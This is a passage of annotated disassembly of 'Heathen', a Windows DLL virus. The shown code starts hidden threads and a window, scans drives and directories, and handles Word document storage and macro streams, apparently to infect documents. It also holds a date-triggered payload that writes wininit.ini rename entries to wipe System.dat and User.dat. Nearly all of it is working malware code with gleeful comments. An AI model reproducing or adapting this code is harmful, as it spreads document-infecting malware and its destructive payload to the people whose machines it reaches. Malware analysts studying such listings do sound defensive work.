push 0FFFFFFFFh push ds:Thread2_Handle call API_WaitForSingleObject ; wait to signaled state of the Thread2, that is, when thread finishes call UpdateScanData ; write to disk the list of currently scanned directories mov eax, ds:IStream push eax mov edx, [eax] call [edx+IStream_Interface.Release] ; close stream WordDocument (OnILockBytes) mov eax, ds:IStorage push eax mov edx, [eax] call [edx+IStorage_Interface.Release] ; close IStorage (OnIlockBytes) mov ecx, ds:ILockBytes push ecx mov eax, [ecx] call [eax+ILockBytes_Interface.Release] ; release ILockBytes interface cmp ds:MoreThanHalfYear, 0 jz short messageprocessed ; skip if less than 183 days since virus installation call PAYLOAD ; lets play with wininit.ini :-D jmp short messageprocessed ; --------------------------------------------------------------------------- calldefaultWndProc: push [ebp+LPARAM] ; lparam push edx ; wparam push eax ; uint push [ebp+HWND] ; hwnd call API_DefWindowProcA ; call default WndProc jmp short Exit_WndProc ; --------------------------------------------------------------------------- messageprocessed: xor eax, eax ; indicate that the message has been procesed Exit_WndProc: pop ebp retn 10h WndProc endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame THREAD1_EntryPoint proc near Message= dword ptr -48h WndClass= WNDCLASS_STRUC ptr -2Ch Thread2_ID= dword ptr -4 DllHandle= dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFB8h push ebx call InitVariables ; init some variables and check date (for payload) test eax, eax jz Exit_THREAD1 ; exit on error push offset MemoryAllocator push 1 ; must be 1 call API_CoGetMalloc ; get IMalloc interface call InitDirectoryList ; initialize directory list xor eax, eax xor edx, edx mov [ebp+WndClass.style], eax xor ecx, ecx mov [ebp+WndClass.lpfnWndProc], offset WndProc mov [ebp+WndClass.cbClsExtra], edx mov [ebp+WndClass.cbWndExtra], ecx mov eax, [ebp+DllHandle] ; argument given to the thread mov [ebp+WndClass.hInstance], eax push 7F00h ; IDI_APPLICATION (default application icon) push 0 ; NULL call API_LoadIconA ; return handle to the application icon mov [ebp+WndClass.hIcon], eax push 7F00h ; IDC_ARROW push 0 call API_LoadCursorA ; return handle to the application cursor mov [ebp+WndClass.hCursor], eax push 4 ; BLACK_BRUSH call API_GetStockObject ; retrieves a handle to one of the predefined stock pens mov [ebp+WndClass.hbrBackground], eax xor edx, edx mov [ebp+WndClass.lpszMenuName], edx ; NULL=windows belonging to this class have no default menu lea ecx, [ebp+WndClass] ; address of structure with class data mov [ebp+WndClass.lpszClassName], offset aHeathenwc ; lpszClassName push ecx call API_RegisterClassA ; registers a window class for subsequent calls to CreateWindow/CreateWindowEx test ax, ax jz Exit_THREAD1 ; error push 0 ; lpParam=NULL push [ebp+DllHandle] ; application instance push 0 ; NULL push 0 ; NULL push 64h ; height push 64h ; width push 80000000h ; CW_USEDEFAULT push 80000000h ; CW_USEDEFAULT push 80000000h ; CW_USEDEFAULT push 0 push offset aHeathenwc ; pointer to registered class name push 0 call API_CreateWindowExA ; create window test eax, eax jz short Exit_THREAD1 ; error lea eax, [ebp+Thread2_ID] ; &Thread2_ID push eax push 4 ; CREATE_SUSPENDED push 0 ; argument for new thread push offset THREAD2_EntryPoint ; LPTHREAD_START_ROUTINE push 10000h ; stack size push 0 ; NULL = Thread attributes call API_CreateThread ; create Thread2 mov ebx, eax mov ds:Thread2_Handle, ebx ; save thread2 handle test ebx, ebx jz short Exit_THREAD1 ; error push offset aHeathenIsHere ; event object name push 0 ; Initial State = nonsignaled push 1 ; it requires to manually reset the state to nonsignaled push 0 ; NULL = handle cannot be inherited call API_CreateEventA ; create an event object mov ds:EventHandle, eax ; save event handle push 0FFFFFFF1h ; THREAD_BASE_IDLE push ds:Thread2_Handle call API_SetThreadPriority ; set Thread2 priority push ds:Thread2_Handle call API_ResumeThread ; resume thread! :-) jmp short getmessage ; --------------------------------------------------------------------------- dispatchmessage: lea eax, [ebp+Message] push eax call API_DispatchMessageA ; dispatch message getmessage: push 0 ; wMsgFilterMax=NULL (no range filtering is performed) push 0 ; wMsgFilterMin=NULL (no range filtering is performed) push 0 ; NULL=retrieves messages for any window that belongs to the calling thread lea edx, [ebp+Message] push edx call API_GetMessageA ; retrieves a message from the calling thread's message queue and places it in the specified structure test eax, eax jnz short dispatchmessage ; do it again until the function retrieves the WM_QUIT message Exit_THREAD1: xor eax, eax pop ebx mov esp, ebp pop ebp retn 4 ; end thread THREAD1_EntryPoint endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame DllMain proc near Thread1_ID= byte ptr -4 hinstDLL= dword ptr 8 fdwReason= dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx cmp [ebp+fdwReason], 1 ; DLL_PROCESS_ATTACH? jnz short exit_Dllmain ; no lea eax, [ebp+Thread1_ID] push eax ; &Thread1_ID push 4 ; CREATE_SUSPENDED push [ebp+hinstDLL] ; argument for new thread (=Dll module handle) push offset THREAD1_EntryPoint ; LPTHREAD_START_ROUTINE push 10000h ; size of stack push 0 ; NULL = thread attributes call API_CreateThread ; create Thread1 mov ebx, eax test ebx, ebx jz short exit_Dllmain ; exit on error push 0FFFFFFF1h ; THREAD_BASE_IDLE push ebx ; Thread1 handle call API_SetThreadPriority ; set Thread1 priority push ebx ; Thread1 handle call API_ResumeThread ; resume thread! :-) exit_Dllmain: mov eax, 1 ; TRUE = DllMain succeeds pop ebx pop ecx pop ebp retn 8 DllMain endp ; --------------- S U B R O U T I N E --------------------------------------- API_SetThreadPriority proc near jmp ds:SetThreadPriority API_SetThreadPriority endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetWindowsDirectoryA proc near jmp ds:GetWindowsDirectoryA API_GetWindowsDirectoryA endp ; --------------- S U B R O U T I N E --------------------------------------- API_FindNextFileA proc near jmp ds:FindNextFileA API_FindNextFileA endp ; --------------- S U B R O U T I N E --------------------------------------- API_CreateEventA proc near jmp ds:CreateEventA API_CreateEventA endp ; --------------- S U B R O U T I N E --------------------------------------- API_SetEvent proc near jmp ds:SetEvent API_SetEvent endp ; --------------- S U B R O U T I N E --------------------------------------- API_FindClose proc near jmp ds:FindClose API_FindClose endp ; --------------- S U B R O U T I N E --------------------------------------- API_WaitForSingleObject proc near jmp ds:WaitForSingleObject API_WaitForSingleObject endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetDriveTypeA proc near jmp ds:GetDriveTypeA API_GetDriveTypeA endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetLogicalDrives proc near jmp ds:GetLogicalDrives ; Get bitmask representing API_GetLogicalDrives endp ; the currently available disk drives ; --------------- S U B R O U T I N E --------------------------------------- API_FileTimeToSystemTime proc near jmp ds:FileTimeToSystemTime API_FileTimeToSystemTime endp ; --------------- S U B R O U T I N E --------------------------------------- API_CreateFileA proc near jmp ds:CreateFileA API_CreateFileA endp ; --------------- S U B R O U T I N E --------------------------------------- API_FindFirstFileA proc near jmp ds:FindFirstFileA API_FindFirstFileA endp ; --------------- S U B R O U T I N E --------------------------------------- API_SetFileTime proc near jmp ds:SetFileTime API_SetFileTime endp ; --------------- S U B R O U T I N E --------------------------------------- API_ResumeThread proc near jmp ds:ResumeThread API_ResumeThread endp ; --------------- S U B R O U T I N E --------------------------------------- API_CreateThread proc near jmp ds:CreateThread API_CreateThread endp ; --------------- S U B R O U T I N E --------------------------------------- API_CloseHandle proc near jmp ds:CloseHandle API_CloseHandle endp ; --------------- S U B R O U T I N E --------------------------------------- API_WriteFile proc near jmp ds:WriteFile API_WriteFile endp ; --------------- S U B R O U T I N E --------------------------------------- API_lstrcatA proc near jmp ds:lstrcatA API_lstrcatA endp ; --------------- S U B R O U T I N E --------------------------------------- API_lstrcmpA proc near jmp ds:lstrcmpA API_lstrcmpA endp ; --------------- S U B R O U T I N E --------------------------------------- API_lstrcpyA proc near jmp ds:lstrcpyA API_lstrcpyA endp ; --------------- S U B R O U T I N E --------------------------------------- API_lstrlenA proc near jmp ds:lstrlenA API_lstrlenA endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetSystemTime proc near jmp ds:GetSystemTime API_GetSystemTime endp ; --------------- S U B R O U T I N E --------------------------------------- API_RegisterClassA proc near jmp ds:RegisterClassA API_RegisterClassA endp ; --------------- S U B R O U T I N E --------------------------------------- API_LoadIconA proc near jmp ds:LoadIconA API_LoadIconA endp ; --------------- S U B R O U T I N E --------------------------------------- API_LoadCursorA proc near jmp ds:LoadCursorA API_LoadCursorA endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetMessageA proc near jmp ds:GetMessageA API_GetMessageA endp ; --------------- S U B R O U T I N E --------------------------------------- API_DispatchMessageA proc near jmp ds:DispatchMessageA API_DispatchMessageA endp ; --------------- S U B R O U T I N E --------------------------------------- API_DefWindowProcA proc near jmp ds:DefWindowProcA API_DefWindowProcA endp ; --------------- S U B R O U T I N E --------------------------------------- API_CreateWindowExA proc near jmp ds:CreateWindowExA API_CreateWindowExA endp ; --------------- S U B R O U T I N E --------------------------------------- API_wsprintfA proc near jmp ds:wsprintfA API_wsprintfA endp ; --------------- S U B R O U T I N E --------------------------------------- API_StgOpenStorage proc near jmp ds:StgOpenStorage API_StgOpenStorage endp ; --------------- S U B R O U T I N E --------------------------------------- API_StgCreateDocfileOnILockBytes proc near jmp ds:StgCreateDocfileOnILockBytes API_StgCreateDocfileOnILockBytes endp ; --------------- S U B R O U T I N E --------------------------------------- API_CreateILockBytesOnHGlobal proc near jmp ds:CreateILockBytesOnHGlobal API_CreateILockBytesOnHGlobal endp ; --------------- S U B R O U T I N E --------------------------------------- API_CoGetMalloc proc near jmp ds:CoGetMalloc API_CoGetMalloc endp ; --------------- S U B R O U T I N E --------------------------------------- API_GetStockObject proc near jmp ds:GetStockObject API_GetStockObject endp ; --------------------------------------------------------------------------- align 100h db 0A00h dup(?) CODE ends ; Section 2. (virtual address 00003000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00001C00 ; Flags C0000040: Data Readable Writable ; Alignment : 16 bytes ? ; --------------------------------------------------------------------------- ; Segment type: Pure data DATA segment para public 'DATA' use32 assume cs:DATA ;org 403000h aGetWindowsDirectoryA db 'GetWindowsDirectoryA',0 aCopyFileA db 'CopyFileA',0 DeleteFileA db 'DeleteFileA',0 aCreateFileA db 'CreateFileA',0 aReadFile db 'ReadFile',0 aWriteFile db 'WriteFile',0 aCloseHandle db 'CloseHandle',0 aSetFilePointer db 'SetFilePointer',0 aGetFileTime db 'GetFileTime',0 aSetFileTime db 'SetFileTime',0 alstrcatA db 'lstrcatA',0 alstrcpyA db 'lstrcpyA',0 alstrcmpA db 'lstrcmpA',0 alstrlenA db 'lstrlenA',0 aStgOpenStorage db 'StgOpenStorage',0 aStgCreateDocfile db 'StgCreateDocfile',0 aCoGetMalloc db 'CoGetMalloc',0 aLoadLibraryA db 'LoadLibraryA',0 aKernel32_dll db 'KERNEL32.DLL',0 aHtmp_doc db 'Htmp.doc',0 aExplorer_exe db 'Explorer.exe',0 aHeathen_vex db 'Heathen.vex',0 aHeathen_vdl db 'Heathen.vdl',0 aHeathen_vdo db 'Heathen.vdo',0 aWininit_ini db 'Wininit.ini',0 aRename db '[rename]',0Dh,0Ah,0 aWorddocument: unicode 0, ,0 xTable: unicode 0, ,0 aMacros: unicode 0, ,0 aScandata: unicode 0, ,0 aHeathenwc db 'HeathenWC',0 aHeathenIsHere db 'Heathen is here',0 aRename2 db '%snul=%sSystem.dat',0Dh,0Ah db 'nul=%sUser.dat',0Dh,0Ah db 'nul=%sSystem.da0',0Dh,0Ah db 'nul=%sUser.da0',0 aRoot db 'A:',0 aSearchPattern db '%s*.*',0 a__ db '..',0 a_ db '.',0 aSS1 db '%s%s',0 aSS2 db '%s%s',0 db 0 ; MemoryAllocator dd 0 DirectoryList dd 0 ; DirectoryName dd 0 ; NextDirectorySTRUC WindowsDirectory db 12Ch dup(0) ILockBytes dd 0 IStorage dd 0 ; IStorage del heathen.vdo IStream dd 0 HeathenMacrosSize dq 0 UNICODE_HeathenVDO db 258h dup(0) Drive dd ? MoreThanHalfYear dd ? may14h dd ? EventHandle dd ? Thread2_Handle dd ? align 1000h DATA ends ; ; Imports from KERNEL32.dll ; ; Section 3. (virtual address 00004000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00002000 ; Flags C0000040: Data Readable Writable ; Alignment : 16 bytes ? ; --------------------------------------------------------------------------- ; Segment type: Externs ; _idata extrn SetThreadPriority:dword extrn GetWindowsDirectoryA:dword extrn FindNextFileA:dword extrn CreateEventA:dword extrn SetEvent:dword extrn FindClose:dword extrn WaitForSingleObject:dword extrn GetDriveTypeA:dword extrn GetLogicalDrives:dword ; Get bitmask representing ; the currently available disk drives extrn FileTimeToSystemTime:dword extrn CreateFileA:dword extrn FindFirstFileA:dword extrn SetFileTime:dword extrn ResumeThread:dword extrn CreateThread:dword extrn CloseHandle:dword extrn WriteFile:dword extrn lstrcatA:dword extrn lstrcmpA:dword extrn lstrcpyA:dword extrn lstrlenA:dword extrn GetSystemTime:dword ; ; Imports from USER32.dll ; extrn RegisterClassA:dword extrn LoadIconA:dword extrn LoadCursorA:dword extrn GetMessageA:dword extrn DispatchMessageA:dword extrn DefWindowProcA:dword extrn CreateWindowExA:dword extrn wsprintfA:dword ; ; Imports from OLE32.dll ; extrn StgOpenStorage:dword extrn StgCreateDocfileOnILockBytes:dword extrn CreateILockBytesOnHGlobal:dword extrn CoGetMalloc:dword ; ; Imports from GDI32.dll ; extrn GetStockObject:dword end DLL_EntryPoint